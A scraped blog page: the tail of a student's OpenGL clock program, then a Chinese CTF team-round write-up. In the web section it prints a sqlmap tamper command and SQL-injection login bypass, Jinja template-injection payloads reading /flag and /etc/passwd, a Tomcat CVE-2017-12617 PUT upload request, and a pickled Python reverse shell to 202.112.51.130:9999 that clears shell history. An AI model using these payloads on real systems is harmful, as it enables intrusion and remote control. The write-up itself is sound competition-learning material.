    #include "stdafx.h"#include<Windows.h>#include<GL\glut.h>#include<GL\GLAUX.H>#include<stdio.h>#include<stdlib.h>#include<math.h>#include<time.h>#pragma comment(lib, "glut32.lib")#pragma comment(lib, "glaux.lib")GLfloat xrot = 0; // X 旋转量GLfloat yrot = 0; // Y 旋转量GLfloat zrot = 0; // Z 旋转量GLuint texture[1]; // 存储一个纹理---数组const GLfloat Pi = 3.1415926536;const GLfloat R = 0.8f;const int n = 200;static GLfloat angle = 2 * Pi;//载入位图图象到内存AUX_RGBImageRec *LoadBMP(CHAR *Filename){ FILE *File = NULL; // 文件句柄 if (!Filename) // 确保文件名已提供 { return NULL; // 如果没提供,返回 NULL } File = fopen(Filename, "r"); // 尝试打开文件 if (File) // 判断文件是否存在 { fclose(File); // 关闭句柄 return auxDIBImageLoadA(Filename); // 载入位图并返回指针 } return NULL; // 如果载入失败,返回 NULL}//载入位图并转换成纹理//参数:纹理指针、bmp文件名、用户指定的纹理编号int LoadGLTextures(GLuint *texture, char *bmp_file_name, int texture_id){ int Status = FALSE; // 状态指示器 // 创建纹理的存储空间 AUX_RGBImageRec *TextureImage[1]; memset(TextureImage, 0, sizeof(void *) * 1); // 将指针设为 NULL // 载入位图,检查有无错误,如果位图没找到则退出 if (TextureImage[0] = LoadBMP(bmp_file_name)) { Status = TRUE; // 将 Status 设为 TRUE //生成(generate)纹理 glGenTextures(texture_id, texture); //&texture[0]); //绑定2D纹理对象 glBindTexture(GL_TEXTURE_2D, *texture); //texture[0]); //关联图像数据与纹理对象 glTexImage2D(GL_TEXTURE_2D, 0, 3, TextureImage[0]->sizeX, TextureImage[0]->sizeY, 0, GL_RGB, GL_UNSIGNED_BYTE, TextureImage[0]->data); //图形绘制时所使用的滤波器参数 glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); // 线形滤波 glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); // 线形滤波 } //释放图像的内存,因为已经生成纹理了,没用了 if (TextureImage[0]) // 纹理是否存在 { if (TextureImage[0]->data) // 纹理图像是否存在 { free(TextureImage[0]->data); // 释放纹理图像占用的内存 } free(TextureImage[0]); // 释放图像结构 } else printf("纹理不存在"); return Status; // 返回 Status}void DrawCube(void) // 从这里开始进行所有的绘制{ glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // 清除屏幕和深度缓存 glLoadIdentity(); // 重置当前的模型观察矩阵 glTranslatef(0.0f, 0.0f, -5.0f); // 移入屏幕 5 个单位 glRotatef(xrot, 1.0f, 0.0f, 0.0f); // 绕X轴旋转 glRotatef(yrot, 0.0f, 1.0f, 0.0f); // 绕Y轴旋转 glRotatef(zrot, 0.0f, 0.0f, 1.0f); // 绕Z轴旋转 glColor4f(1.0, 1.0, 1.0, 1.0); glBindTexture(GL_TEXTURE_2D, texture[0]); // 选择纹理 glBegin(GL_QUADS); // 前面 glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的左上 // 后面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBindTexture(GL_TEXTURE_2D, texture[1]); glBegin(GL_QUADS); glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的左下 // 顶面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 // 底面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 // 右面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(1.0f, 0.0f); glVertex3f(1.0f, -1.0f, -1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(1.0f, 1.0f, -1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(1.0f, 1.0f, 1.0f); // 纹理和四边形的左上 glTexCoord2f(0.0f, 0.0f); glVertex3f(1.0f, -1.0f, 1.0f); // 纹理和四边形的左下 // 左面 glEnd(); glColor4f(1.0, 1.0, 0.0, 1.0); glBegin(GL_QUADS); glTexCoord2f(0.0f, 0.0f); glVertex3f(-1.0f, -1.0f, -1.0f); // 纹理和四边形的左下 glTexCoord2f(1.0f, 0.0f); glVertex3f(-1.0f, -1.0f, 1.0f); // 纹理和四边形的右下 glTexCoord2f(1.0f, 1.0f); glVertex3f(-1.0f, 1.0f, 1.0f); // 纹理和四边形的右上 glTexCoord2f(0.0f, 1.0f); glVertex3f(-1.0f, 1.0f, -1.0f); // 纹理和四边形的左上 glEnd(); glFlush(); //glutSwapBuffers();}float Mysecond(struct tm *ptr){ return((Pi / 2) - (((float)ptr->tm_sec) / 60) * 2 * Pi);}float Mymin(struct tm *ptr){ return((Pi / 2) - ((ptr->tm_min + (Mysecond(ptr) / 60)) / 60) * 2 * Pi);}float Myhour(struct tm *ptr){ if (0 < ptr->tm_hour&&ptr->tm_hour < 12) { return((Pi / 2) - ((float)ptr->tm_hour + Mymin(ptr) / 60.0) / 12.0 * 2 * Pi); } else{ return((Pi / 2) - ((ptr->tm_hour - 12.0 + Mymin(ptr) / 60.0) / 12) * 2 * Pi); }}void myDisplay(void){ struct tm *ptr; //获取系统时间 time_t it; it = time(NULL); ptr = localtime(&it); glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); //清除颜色 glLoadIdentity(); glTranslatef(0.0f, 0.0f, -5.0f); DrawCube();//钟盘 glEnable(GL_POINT_SMOOTH); glEnable(GL_LINE_SMOOTH); glHint(GL_POINT_SMOOTH_HINT, GL_NICEST); glHint(GL_LINE_SMOOTH_HINT, GL_NICEST); glEnable(GL_BLEND); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glPushMatrix(); glTranslatef(0, -0.0, 1.0); glColor4f(1.0, 0.0, 0.0, 0.5); //洋红色 glBegin(GL_POLYGON); for (int i = 0; i < n; i++){ glVertex2f(R*cos(2 * Pi / n*i), R*sin(2 * Pi / n*i)); } glEnd(); //刻度 glColor4f(1.0, 1.0, 1.0, 0.5); //白色 glBegin(GL_POINTS); glPointSize(5.0f); for (int j = 0; j < 12; j++) { glVertex2f(0.75*cos(2 * Pi / 12 * j), 0.75*sin(2 * Pi / 12 * j)); } glEnd(); //表盘上的中心点 glPointSize(5.0f); glColor4f(0.0, 0.0, 0.0, 0.2); glBegin(GL_POINTS); glVertex2f(0.0, 0.0); glEnd(); //时针 glLineWidth(5.0f); //设置线的宽度 glColor4f(1.0, 0.0, 1.0, 0.5); //洋红色 glBegin(GL_LINES); //画线函数 glRotatef((angle / 3600.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Myhour(ptr))*R*0.55, sin(Myhour(ptr))*R*0.55); glEnd(); //分针 glLineWidth(5.0f); glColor4f(0.0, 1.0, 0.0, 0.5); //绿色 glBegin(GL_LINES); glRotatef((angle / 60.0), 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Mymin(ptr))*R*0.65, sin(Mymin(ptr))*R*0.65); glEnd(); //秒针 glLineWidth(3.0f); glColor4f(0.0, 0.0, 1.0, 0.5); //蓝色 glBegin(GL_LINES); glRotatef(angle, 0.0, 0.0, 1.0); glVertex2f(0.0, 0.0); glVertex2f(cos(Mysecond(ptr))*R*0.85, sin(Mysecond(ptr))*R*0.85); glEnd(); glPopMatrix(); glutSwapBuffers();// glFlush(); //保证前面的OpenGL命令立即执行,而不是让它们在缓冲区中等待}void init(void){ glClearColor(1.0, 1.0, 1.0, 1.0); //清理颜色,为白色,(也可认为是背景颜色) glCullFace(GL_BACK); //背面裁剪(背面不可见) glEnable(GL_CULL_FACE); //启用裁剪 glEnable(GL_TEXTURE_2D); LoadGLTextures(&texture[0], "clock3.bmp", 1); //载入纹理贴图 LoadGLTextures(&texture[1], "clock3.bmp", 2);}//当窗口大小改变时,会调用这个函数void reshape(GLsizei w, GLsizei h){ //这里小说明一下:矩阵模式是不同的,他们各自有一个矩阵。投影相关 //只能用投影矩阵。 glViewport(0, 0, w, h); //设置视口 glMatrixMode(GL_PROJECTION); //设置矩阵模式为投影变换矩阵, glLoadIdentity(); //变为单位矩阵 gluPerspective(60, (GLfloat)w / h, 0, 1000); //设置投影矩阵 glMatrixMode(GL_MODELVIEW); //设置矩阵模式为视图矩阵(模型) glLoadIdentity(); //变为单位矩阵}//键盘输入事件函数void keyboard(unsigned char key, int x, int y){ switch (key) { case 'x': //当按下键盘上d时,以沿X轴旋转为主 xrot += 6.0f; //设置旋转增量 glutPostRedisplay(); //重绘函数 break; case 'y': yrot += 6.0f; glutPostRedisplay(); break; case 'z': zrot += 6.0f; glutPostRedisplay(); break; default: break; }}void myIdle(void){ angle -= ((2 * Pi) / 60); Sleep(1000); if (angle < 0.0f){ angle = 2 * Pi; } myDisplay();}int main(int argc, char *argv[]){ glutInit(&argc, argv); //对GLUT进行初始化 // glutInitDisplayMode(GLUT_RGB | GLUT_SINGLE); //设置显示方式 glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH);//设置双缓存 //GLUT_RGB表示使用RGB颜色,GLUT_SINGLE表示使用单缓冲 glutInitWindowPosition(200, 200); //设置窗口在屏幕中的位置 glutInitWindowSize(500, 500); //设置窗口的大小 glutCreateWindow("OpenGL时钟"); //设置窗口的标题 init(); //初始化资源,这里一定要在创建窗口以后,不然会无效。 LoadGLTextures(&texture[0], "clock3.bmp", 1); LoadGLTextures(&texture[1], "clock3.bmp", 2); glutDisplayFunc(&myDisplay); //调用画图函数 glutIdleFunc(&myIdle); glutReshapeFunc(reshape); //绘制图形时的回调 glutKeyboardFunc(keyboard); glutMainLoop(); //进行一个消息循环。显示窗口,并等待窗口关闭后才会返回 return 0;}
    四、总结此次设计主要用了纹理贴图和二维绘图的知识。
    我还记得最开始设计时钟时,背景图是黑色的,而且图片也是随便贴了一张上去,给指导老师看过了后,他评价道:“你能否让我看起来你像是做了个时钟?比如把背景颜色调一调,纹理换一换。”
    我恍然大悟。是啊!做课程设计本来也是一件艺术品,要用心设计,才能让有兴趣的人愿意为此驻足欣赏。
    原文链接
    2 留言 2018-11-14 13:05:46 奖励15点积分
  • 首届新疆网络安全知识技能竞赛题解(团体赛)

    前言第一天经历了个人解题晋级赛之后,第二天就是团体的解题赛,这一天管理相对第一天比较严一些,进行手机的提交要求,第一天虽然也提交了,明显还是有人使用手机开了热点。这一天的刷题还算是比较顺利,web题目就一道大家都没有解出来之外,其他的也全部搞定。
    团体解题晋级赛有了第一天的经历之后,这次相对的把自己的节奏和心态都稍微的进行调整,解题中相对还算是比较顺利,两个队伍都挺进了决赛。
    Web[revenge_of_sql]sql的复仇,应该是和sql注入有关,首先进行敏感目录扫描,发现.git源码泄露直接githack 发现 index.php文件存在 过滤空格的盲注注入,直接sqlmap 跑数据库但是发现没有sqlmap -r 1.txt —random-agent —dbms=mysql —tamper=space2comment.py -v 3 —sql-shell
    available databases [4]:[*] information_schema[*] mysql[*] performance_schema[*] sql1
    admin xman 登录进入 和源码的逻辑相同没有显示也可以手工注入登录Username='/**/union/**/select('202cb962ac59075b964b07152d234b70')#&password=123最后分析一下git历史信息发现有flag22222.php使用sqlmap 跑一下

    <strong>Web baby python</strong>没有啥思路,直接爆破url参数发现出现花括号 会出现信息的不完整输出,那应该明确了考点,就是python web的模板注入,可以直接使用函数读文件也可以使用其他python 沙盒绕过
    {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read() }}等python链进行代码的执行http://10.98.98.25:5554/404?msg='}}{{ open('/etc/passwd').read() }}
    ezupload文件上传常规套路:直接大小写、javascript、 改后缀 、截断或这让js失效

    http[步骤]访问发现提示 不是本地人,不允许访问, 于是修改xff为127.0.0.1或localhost伪造为本地伪造后提示未登录,查看cookie发现存在login=0的键值,将0修改为1得到flag
    ezpentest[分析]这道题,没有队伍解出来,当时进行了目录的扫描,和nmap的扫描,发现了8080 端口tomcat,按题目的说明,应该是一个tomcat溢出漏洞,赛后讨论应该是CVE-2017-12617(远程代码执行漏洞)影响范围:
    Apache Tomcat 9.0.0.M1-9.0.0Apache Tomcat 8.5.0-8.5.22Apache Tomcat 8.0.0.RC1-8.0.46Apache Tomcat 7.0.0-7.0.81当时没有网,也就没有找到具体的payload ,可以参考P牛的vuln库 任意文件写入
    PUT /1.jsp/ HTTP/1.1Host: your-ip:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 5shellCheck in考察的是python的cPickle的反序列化漏洞
    # !/usr/bin/env python# -*- coding:utf-8 -*-import marshalimport base64import cPickleimport urllibdef foo():#you should write your code in this function import socket import os,pty def test(ip,port): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip,int(port))) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) shell= "/bin/sh" os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() test('202.112.51.130',9999)try:#尝试使用cPickle来序列号代码对象 cPickle.dumps(foo.func_code)except Exception as e: print e #TypeError: can't pickle code objectscode_serialized = base64.b64encode(marshal.dumps(foo.func_code))print code_serialized
    misc流量包解密02题目进行了说明,mac地址就是秘钥,国赛的题目也出现过,当时提取mac之后没有跑出来,最会拼一下脑洞发现,爆破的时候的数据包的mac 地址就是密码提示是mac,尝试提取mac不行,结果就是脑洞 1 B4:0B:44:C2:D5:FF xj WPA (1 handshake)然后发现就是dns apr 做中间人,做了个test.txt success.txt的测试就没有url了需要再次脑洞一下吧。还是那个师傅的blog说的是url flag{http://www.wiattack.net/test.txt}
    如来十三掌夜哆悉諳多苦奢陀奢諦冥神哆盧穆皤三侄三即諸諳即冥迦冥隸數顛耶迦奢若吉怯陀諳怖奢智侄諸若奢數菩奢集遠俱老竟寫明奢若梵等盧皤豆蒙密離怯婆皤礙他哆提哆多缽以南哆心曰姪罰蒙呐神。舍切真怯勝呐得俱沙罰娑是怯遠得呐數罰輸哆遠薩得槃漫夢盧皤亦醯呐娑皤瑟輸諳尼摩罰薩冥大倒參夢侄阿心罰等奢大度地冥殿皤沙蘇輸奢恐豆侄得罰提哆伽諳沙楞缽三死怯摩大蘇者數一遮与佛论禅解密:MzkuM3gvMUAwnzuvn3cgozMlMTuvqzAenJchMUAeqzWenzEmLJW9尝试base64解密失败,继续尝试,发现先rot13,在base64ZmxhZ3tiZHNjamhia3ptbmZyZGhidmNraWpuZHNrdmJramRzYWJ9flag{bdscjhbkzmnfrdhbvckijndskvbkjdsab}
    Find_your_flag是一个内存取证的题目Volatility工具安排一下遍历文件找一找flag导出文件发现需要密码,根据提示猜测密码可能在剪切板
    倍四家族这个题是一个7z的带密码的压缩包,想推导密码,你需要点脑洞,根据题目和压缩包,发现密码是flag字符的base64编码,解密出flag.txt最后写一个脚本进行每一行的解密(参考官方wp)
    def get_base64_diff_value(s1, s2): base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' res = 0 for i in xrange(len(s1)): if s1[i] != s2[i]: return abs(base64chars.index(s1[i]) - base64chars.index(s2[i])) return res def solve_stego(): with open('flag.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace('\n', '') norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '') diff = get_base64_diff_value(steg_line, norm_line) pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i+8], 2)) print res_str solve_stego()
    得到
    W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ
    猜测是base85,python跑一下In [1]: import base64In [2]: base64.b85decode(b'W^7?+dv|4DVs&z9Wn^D$Z+2y0W?^k<Y<XW~X>)U7bZK*DVPkY<WPJ')Out[2]: b'flag{we_buried_love_family_dissatisfacted}'

    密码short_story一个doc文档,字体有点高低和一个隐藏的矩阵,应该是hill加密
    美国代表团访华时曾有一名官员当着周总理的面说中国人很喜欢低着头走路而我们美国人却总是抬着头走路周总理不慌不忙脸带微笑地说这并不奇怪因为我们中国人喜欢走上坡路而你们美国人喜欢走下坡路AABBBBAAABBABBAAAABBAABBBBAAABBBAAAAABBAAAABABAAAABABBAAAABBAAAABABBABABABAABABBAAAABABABAhrwdhrygcqwdbnklbk
    继续从文档中获得密钥。文档末尾隐藏了一个矩阵,选中更改字体颜色后可以看到。根据这个矩阵,联想到hill加密先根据密钥矩阵计算逆矩阵,将密文按照2个2个分组,与逆矩阵右乘得到明文。```pycoding:UTF-8key = [-7,2,4,-1]m = “hrwdhrygcqwdbnklbk”
    c= []for x in range(len(m)): if(m[x]>=’a’and x<=’z’): print ord(m[x])-97 c.append(ord(m[x])-97)print ctemp = []
    for i in range(0,len(c),2): temp.append(chr(((key[0] c[i]+key[1] c[i+1])%26)+97)) temp.append(chr(((key[2] c[i] + key[3] c[i+1])%26)+97))temp = ‘’.join(temp)print temp[::-1]
    得到llihllamssihtrednu题目中说“走下坡路”,所以想到字符串经过反向处理。得到flag{underthissmallhill}。#### weak_des给出了加密代码参考0xptdg战队的py```py#coding:utf-8from Crypto.Cipher import DESimport libnumct=open('ciphertext','rb').read()KEY=libnum.n2s(0xe0e0e0e0f1f1f1f1)IV='13245678'a=DES.new(KEY,DES.MODE_OFB,IV)print a.decrypt(ct)The furthest distance in the worldIs not between life and deathBut when I stand infront of youYet you don't know that I love youIs not when I stand infront of youYet you can't see my loveBut when undoubtedly knowing the love from bothYet can not be togetherIs not being apart while being in loveBut when painly cannot resist the yearningYet pretending you have never been in my heartIs not when painly can not resist the yearningyet pretending you have never been in my heartbut using one's in different heartTo dig an uncrossable riverFor the one who loves youflag{_poor_single_dog_has_found_an_echo_from_it}个人和团体的re+pwn解题汇总reeasy-comparejadx先打开看MainActivity
    public class MainActivity extends AppCompatActivity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView((int) R.layout.activity_main); ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() { public void onClick(View v) { if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) { Toast.makeText(MainActivity.this, "you are right~!", 1).show(); } else { Toast.makeText(MainActivity.this, "wrong!", 1).show(); } } }); }}
    调用了so中的Check.checkflag函数校验flag,定位到so中的函数
    signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1){ signed int v1; // r4 const char *v2; // r5 v1 = 0; v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))(); j_getKey(); _android_log_print(4, "INJECT", "asdasd"); if ( !strcmp(v2, "this_is_easy_so") ) v1 = 1; return v1;}
    发现是与一个固定的字符串对比
    但是尝试一下程序中提交this_is_easy_so并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag
    Get-A-Wayshell这个二进制数据是一段shellcode,先写程序把它Load起来
    FILE *fp = fopen("file.bin", "rb"); if (fp) { fseek(fp, 0, SEEK_END); DWORD dwSize = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pAddr = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); fread(pAddr, dwSize, 1, fp); fclose(fp); __asm { mov eax, pAddr; call eax; } }
    提示输入key,随便输入一个
    F:\Project\LoadShell.exeplease input your answer:asdsdwrong wayod载入看下
    跟踪会发现在0x10000000地址释放出主要模块
    100010CD 85C0 test eax,eax100010CF 74 11 je short 100010E2100010D1 B9 19000000 mov ecx,0x19100010D6 BE C0710110 mov esi,0x100171C0100010DB BF 30720110 mov edi,0x10017230100010E0 F3:A5 rep movs dword ptr es:[edi],dword ptr ds>100010E2 68 58440110 push 0x10014458 ; ASCII "please input your answer:"100010E7 E8 48170000 call 10002834100010EC 83C4 04 add esp,0x4100010EF C64424 10 00 mov byte ptr ss:[esp+0x10],0x0100010F4 8D4424 11 lea eax,dword ptr ss:[esp+0x11]100010F8 6A 63 push 0x63100010FA 6A 00 push 0x0100010FC 50 push eax100010FD E8 AE660000 call 100077B010001102 83C4 0C add esp,0xC10001105 8D4424 10 lea eax,dword ptr ss:[esp+0x10]10001109 50 push eax1000110A 68 74440110 push 0x10014474 ; ASCII "%s"在此处下断点分析发现是个迷宫问题,dump下迷宫来
    { 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01};按照迷宫得到的解并不对,我们仔细查看内存发现调用了一些反调试的函数,根据回溯,回溯到
    100010C2 /0F85 D8000000 jnz 100011A0100010C8 |E8 B3130000 call 10002480100010CD |85C0 test eax,eax100010CF |74 11 je short 100010E2100010D1 |B9 19000000 mov ecx,0x19100010D6 |BE C0710110 mov esi,0x100171C0100010DB |BF 30720110 mov edi,0x10017230这里会因为反调试来修改迷宫数组,在修改之前dump真正的迷宫
    01 00 01 01 01 01 01 01 01 01 01 00 01 00 00 00 01 01 01 01 01 00 00 00 01 00 01 01 01 01 01 0101 01 01 00 01 01 01 01 01 01 01 01 00 00 00 00 00 01 01 01 01 01 00 01 01 01 00 01 01 01 01 0101 00 00 00 00 01 01 01 01 01 01 00 01 01 01 01 01 01 01 01 01 00 00 00 00 01 01 01 01 01 01 0101 01 00 01得到解
    ssddwddsssdddssaaassddds
    输入得到flag
    81dsa65edckyqutiaghjw3w2
    LoginToMe拖入ida看下就这么些代码
    int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v3; // eax unsigned __int16 s; // [rsp+10h] [rbp-70h] unsigned __int16 v6; // [rsp+12h] [rbp-6Eh] int v7; // [rsp+14h] [rbp-6Ch] int v8; // [rsp+18h] [rbp-68h] unsigned __int16 v9; // [rsp+1Ch] [rbp-64h] unsigned __int16 v10; // [rsp+1Eh] [rbp-62h] unsigned __int16 v11; // [rsp+20h] [rbp-60h] unsigned __int16 v12; // [rsp+22h] [rbp-5Eh] int v13; // [rsp+70h] [rbp-10h] int v14; // [rsp+74h] [rbp-Ch] int v15; // [rsp+78h] [rbp-8h] int i; // [rsp+7Ch] [rbp-4h] memset(&s, 0, 0x60uLL); v13 = 0; printf("input:", argv, &v14, argv); __isoc99_scanf("%s", &s); if ( strlen((const char *)&s) == 20 ) { v3 = time(0LL); srand(v3); v15 = rand() % 100; for ( i = 0; i < v15; ++i ) ; if ( s * v6 != 342772773 || s + v6 != 39526 || v7 - v8 != 1005712381 || (unsigned __int16)v7 + HIWORD(v7) != 56269 || (unsigned __int16)v8 - HIWORD(v8) != 15092 || (char)v7 * (char)v8 != 0x29D6 || SBYTE2(v7) * SBYTE2(v8) != 12051 || SHIBYTE(v7) + SHIBYTE(v8) != 172 || v9 * v10 != 171593250 || v9 + v10 != 26219 || v11 * v12 != 376306868 || v11 + v12 != 40341 ) { puts("check failed~!"); } else { puts("check ok~!"); } } return 1;}
    对输入的flag进行了条件判断,根据上述条件求解即可。
    #-*- coding:utf-8 –*-from z3 import *#定义变量a = Int('a')b = Int('b')c = Int('c')d = Int('d')e = Int('e')f = Int('f')m = Int('m')n = Int('n')p = Int('p')q = Int('q')solver = Solver()# 设置变量范围solver.add(a >= 0)solver.add(b >= 0)solver.add(a < 0xffff)solver.add(b < 0xffff)solver.add(c >= 0)solver.add(d >= 0)solver.add(c < 0xffff)solver.add(d < 0xffff)solver.add(e >= 0)solver.add(f >= 0)solver.add(e < 0xffff)solver.add(f < 0xffff)solver.add(m >= 0)solver.add(n >= 0)solver.add(m < 0xffffffff)solver.add(n < 0xffffffff)# 设置表达式solver.add(a*b == 0x146E4C25)solver.add(a+b == 0x9a66)solver.add(c*d == 0xa3a4e22)solver.add(c+d == 0x666b)solver.add(e*f == 0x166dfcb4)solver.add(e+f == 0x9d95)solver.add(m-n == 0x3BF1F3FD)solver.add(m%0x10000 +m/0x10000 ==0xDBCD)solver.add(n%0x10000 -n/0x10000 ==0x3AF4)#获取结果print("solving...")if(solver.check()==sat): print solver.model()
    [f = 14644, b = 12849, a = 26677, d = 13625, n = 947221353, m = 1952933734, c = 12594, e = 25697]exp
    #-*- coding:utf-8 –*-from z3 import *#定义变量a = Int('a')b = Int('b')c = Int('c')d = Int('d')e = Int('e')f = Int('f')m = Int('m')n = Int('n')p = Int('p')q = Int('q')solver = Solver()# 设置变量范围solver.add(a >= 0)solver.add(b >= 0)solver.add(a < 0xffff)solver.add(b < 0xffff)solver.add(c >= 0)solver.add(d >= 0)solver.add(c < 0xffff)solver.add(d < 0xffff)solver.add(e >= 0)solver.add(f >= 0)solver.add(e < 0xffff)solver.add(f < 0xffff)solver.add(m >= 0)solver.add(n >= 0)solver.add(m < 0xffffffff)solver.add(n < 0xffffffff)# 设置表达式solver.add(a*b == 0x146E4C25)solver.add(a+b == 0x9a66)solver.add(c*d == 0xa3a4e22)solver.add(c+d == 0x666b)solver.add(e*f == 0x166dfcb4)solver.add(e+f == 0x9d95)solver.add(m-n == 0x3BF1F3FD)solver.add(m%0x10000 +m/0x10000 ==0xDBCD)solver.add(n%0x10000 -n/0x10000 ==0x3AF4)#获取结果print("solving...")if(solver.check()==sat): print solver.model()
    又拍苍蝇本题修改自山东省赛拍苍蝇,大大降低了难度,只需要将苍蝇拍完毕即可得到Flag。每个苍蝇中包含了一个secret值,当苍蝇被拍死的时候(对话框销毁的时候),才会初始化这个secret值,所以就算定位到了苍蝇是否死活的标志位进行强制修改也无效,当拍死的苍蝇数量达到24只的时候,会依次计算每个苍蝇携带的secret值,跟一个全局变量循环右移索引位,然后异或,然后根据索引从这个dowrd中取一位放到flag中。由于添加的花指令,所以需要先去除之后才方便分析,花指令特征
    EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58
    脚本如下:
    VAR CodeBaseVAR CodeSizeBPHWCALLBPHWCBCGMI eip, CODEBASEMOV CodeBase,$RESULTGMI eip, CODESIZEMOV CodeSize,$RESULTvar junk_addrlab_find:find CodeBase,#EB14EA50EB0BEA8BC4A8017406EB0BEA??660FD64424EBEBEEEA4C58#,CodeSizemov junk_addr,$RESULTcmp junk_addr,0jz exitMOV [junk_addr],#90909090909090909090909090909090909090909090909090909090#jmp lab_findexit:RET之后od就清晰了,根据success字符串定位到关键地方,cl是索引
